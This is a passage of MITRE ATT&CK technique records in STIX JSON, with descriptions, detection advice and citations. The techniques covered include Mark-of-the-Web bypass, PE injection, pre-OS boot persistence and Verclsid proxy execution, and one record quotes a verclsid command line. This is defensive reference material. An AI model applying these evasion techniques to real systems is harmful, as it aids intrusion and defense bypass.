"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}, {"source_name": "Talos DNSpionage Nov 2018", "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.", "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"}, {"source_name": "NSA NCSC Turla OilRig", "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.", "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"}, {"source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}, {"source_name": "FireEye EPS Awakens Part 2", "description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", "url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T14:19:50.768Z", "name": "Mark-of-the-Web Bypass", "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Christiaan Beek, @ChristiaanBeek"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Metadata", "File: File Creation"], "x_mitre_defense_bypassed": ["Anti-virus", "Application Control"], "type": "attack-pattern", "id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961", "created": "2021-02-22T14:20:31.650Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1553/005", "external_id": "T1553.005"}, {"source_name": "Beek Use of VHD Dec 2020", "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021.", "url": "https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"}, {"source_name": "Outflank MotW 2020", "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.", "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"}, {"source_name": "Intezer Russian APT Dec 2020", "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.", "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"}, {"source_name": "Microsoft Zone.Identifier 2020", "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.", "url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"}, {"source_name": "Disable automount for ISO", "description": "wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.", "url": "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5", "type": "attack-pattern", "created": "2020-10-19T19:11:18.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1600.002", "url": "https://attack.mitre.org/techniques/T1600/002"}, {"source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}], "modified": "2020-10-21T22:37:48.503Z", "name": "Disable Crypto Hardware", "description": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2024-02-26T14:26:14.364Z", "name": "Pre-OS Boot", "description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_deprecated": false, "x_mitre_detection": "Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "Network", "macOS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Drive: Drive Modification", "Network Traffic: Network Connection Creation", "Process: OS API Execution", "Driver: Driver Metadata", "Command: Command Execution", "Firmware: Firmware Modification"], "x_mitre_defense_bypassed": ["Anti-virus", "Host intrusion prevention systems", "File monitoring"], "type": "attack-pattern", "id": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", "created": "2019-11-13T14:44:49.439Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1542", "external_id": "T1542"}, {"source_name": "ITWorld Hard Disk Health Dec 2014", "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.", "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"}, {"source_name": "Wikipedia Booting", "description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.", "url": "https://en.wikipedia.org/wiki/Booting"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", "type": "attack-pattern", "created": "2017-05-31T21:30:51.733Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "external_id": "T1064", "url": "https://attack.mitre.org/techniques/T1064"}, {"source_name": "Metasploit_Ref", "description": "Metasploit. (n.d.). Retrieved December 4, 2014.", "url": "http://www.metasploit.com"}, {"url": "https://www.veil-framework.com/framework/", "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.", "source_name": "Veil_Ref"}, {"url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "source_name": "Powersploit"}, {"url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", "source_name": "Alperovitch 2014"}, {"url": "https://www.uperesia.com/analyzing-malicious-office-documents", "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.", "source_name": "Uperesia Malicious Office Documents"}], "modified": "2020-03-30T13:39:24.852Z", "name": "Scripting", "description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Process whitelisting", "Data Execution Prevention", "Exploit Prevention"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2023-04-15T16:22:09.807Z", "name": "Build Image on Host", "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security", "Roi Kol, @roykol1, Team Nautilus Aqua Security", "Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security", "Vishwas Manral, McAfee"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Containers"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Image: Image Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--800f9819-7007-4540-a520-40e655876800", "created": "2021-03-30T17:54:03.944Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1612", "external_id": "T1612"}, {"source_name": "Aqua Build Images on Hosts", "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.", "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"}, {"source_name": "Docker Build Image", "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.", "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild"}, {"source_name": "Aqua Security Cloud Native Threat Report June 2021", "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.", "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", "type": "attack-pattern", "created": "2017-05-31T21:30:46.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1051", "url": "https://attack.mitre.org/techniques/T1051"}, {"external_id": "CAPEC-563", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/563.html"}, {"description": "Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018.", "source_name": "Microsoft Web Root OCT 2016"}, {"url": "http://httpd.apache.org/docs/2.4/getting-started.html#content", "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.", "source_name": "Apache Server 2018"}, {"url": "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/", "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.", "source_name": "Webroot PHP 2011"}], "modified": "2020-03-30T13:56:55.356Z", "name": "Shared Webroot", "description": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_system_requirements": ["Shared webroot directory on remote system"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", "type": "attack-pattern", "created": "2020-01-14T01:27:31.344Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.002", "url": "https://attack.mitre.org/techniques/T1055/002"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}], "modified": "2021-10-18T12:21:11.178Z", "name": "Portable Executable Injection", "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Access", "Process: OS API Execution", "Process: Process Modification"], "x_mitre_defense_bypassed": ["Anti-virus", "Application control"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Rodrigo Garcia, Red Canary"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", "created": "2020-08-10T13:59:38.443Z", "x_mitre_version": "2.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1218.012", "url": "https://attack.mitre.org/techniques/T1218/012"}, {"source_name": "BOHOPS Abusing the COM Registry", "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", "description": "BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020."}, {"source_name": "Red Canary Verclsid.exe", "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/", "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020."}, {"source_name": "LOLBAS Verclsid", "url": "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", "description": "LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020."}, {"source_name": "Nick Tyrer GitHub", "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", "description": "Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020."}, {"source_name": "WinOSBite verclsid.exe", "url": "https://www.winosbite.com/verclsid-exe/", "description": "verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\u00a0. Retrieved August 10, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ", "modified": "2022-05-20T17:35:28.221Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Verclsid", "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Application control", "Digital Certificate Validation"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-11T01:08:56.774Z", "name": "Compromise Accounts", "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_deprecated": false, "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Persona: Social Media", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a", "created": "2020-10-01T01:17:15.965Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1586", "external_id": "T1586"}, {"source_name": "AnonHBGary", "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"}, {"source_name": "Microsoft DEV-0537", "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", "type": "attack-pattern", "created": "2020-03-10T18:26:56.187Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1569.001", "url": "https://attack.mitre.org/techniques/T1569/001"}, {"source_name": "Launchctl Man", "url": "https://ss64.com/osx/launchctl.html", "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020."}, {"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "source_name": "Sofacy Komplex Trojan"}, {"source_name": "20 macOS Common Tools and Techniques", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}], "modified": "2021-10-15T18:40:23.141Z", "name": "Launchctl", "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl 